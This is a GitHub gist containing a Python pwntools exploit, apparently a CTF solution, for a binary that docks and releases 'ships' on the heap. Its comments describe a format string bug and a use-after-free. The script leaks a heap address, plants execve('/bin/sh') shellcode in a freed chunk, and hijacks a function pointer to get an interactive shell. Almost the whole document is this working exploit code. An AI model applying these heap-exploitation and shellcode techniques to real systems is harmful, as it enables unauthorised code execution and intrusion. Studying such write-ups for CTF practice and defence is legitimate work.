Skip to content

Instantly share code, notes, and snippets.

@farazsth98
Last active December 13, 2020 14:21
Show Gist options
  • Save farazsth98/09122773eb9bf62089471827df192daf to your computer and use it in GitHub Desktop.
Save farazsth98/09122773eb9bf62089471827df192daf to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
from pwn import *
context.arch = "amd64"
'''
Bug 1 - printf(hanger[msg]) in the display() function is a format
string bug. My exploit doesn't use it though.
Bug 2 - The release choice will free the docked chunk, but not set
it to NULL, which results in a UAF through the display()
function, as well as the hanger_msg() function, since
hanger_msg() will allocate a chunk thats the exact same
size as a docked chunk (it essentially lets you control
the contents of a freed chunk completely)
'''
p = process("./bin")
#p = remote("exploit-5", 1300)
def dock(model, fuel):
p.sendlineafter(">>> ", "1")
p.sendlineafter(":\n", model)
p.sendlineafter(":\n", str(fuel))
def display(bay):
p.sendlineafter(">>> ", "2")
p.sendlineafter(":\n", str(bay))
def release(bay):
p.sendlineafter(">>> ", "3")
p.sendlineafter(":\n", str(bay))
def hanger_msg(msg):
p.sendlineafter(">>> ", "4")
p.sendlineafter(":\n", msg)
# Dock objects essentially have a 16 byte name, then 8 bytes of fuel, and
# finally a function pointer, for a total of 32 bytes (or 0x20 bytes).
# We create two here to prepare to leak a heap address
dock("AAAA", 1) # 0
dock("AAAA", 1) # 1
# Free them, chunk 0's first 8 bytes will point to chunk 1 because that's how
# the allocator keeps track of the free list (chunk 0 will essentially become
# a free list node, and the first 8 bytes will basically be the next pointer to
# whatever the previous node is on the free list, which will be chunk 1 because
# we freed it just before chunk 0).
# Chunk 1's next pointer is just NULL
release(1)
release(0)
# Use after free, display chunk 0 to get the heap address of chunk 1
display(0)
# Heap leak, parse the bytes into a number
p.recvuntil("Model: ")
heap_leak = int.from_bytes(p.recvuntil(",")[:-1], byteorder="little")
log.info("Heap leak: " + hex(heap_leak))
# Our plan is to do execve("/bin/sh", NULL, [NULL]) using shellcode. System
# call calling conventions dictate that RDI, RSI, and RDX are the 1st, 2nd, and
# 3rd arguments, while RAX should be set to the system call number (0x3b for
# execve).
#
# Using GDB to view the heap around the leaked area (and checking the register
# states at the time of the function pointer being called), you will see that
# RDX = RDI = heap_leak (if I remember correctly). Knowing this, I do the
# following for the shellcode:
# 1. Set RDI to heap_leak + 0x10, and ensure that at that place in the heap,
# I'll put a "/bin/sh" string for the first argument.
# 2. I `xor rsi, rsi` to zero out RSI as required
# 3. Set RAX to 0x3b and then syscall for execve
sc = asm(r"""
mov rdi, {}
xor rsi, rsi
mov rax, 0x3b
syscall
""".format(heap_leak+0x10))
# Remember that hanger_msg will allocate the same amount of memory as the
# dock() does above, so this first hanger_msg will overwrite chunk 0 with
# shellcode
hanger_msg(sc) # 0
# This hanger_msg will allocate and overwrite chunk 1.
#
# heap_leak points here, we have to set the first 8 bytes to zero as thats
# where RDX points (remember the last argument of execve is [NULL], which is
# a pointer to a NULL value).
# We put the "/bin/sh" string at heap_leak+0x10 as that's where RDI points,
# and RDI is the first argument.
# Finally, we overwrite the function pointer to point to chunk 0, which is
# always 0x30 bytes above chunk 1 (i.e 0x30 bytes above heap_leak). Use GDB
# to see this.
hanger_msg(b"\x00"*0x10 + b"/bin/sh\x00" + p64(heap_leak-0x30))
# Finally, attempting to display chunk 1 will call the function pointer, which
# points to chunk 0, which has our shellcode.
display(1)
# We get shell
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment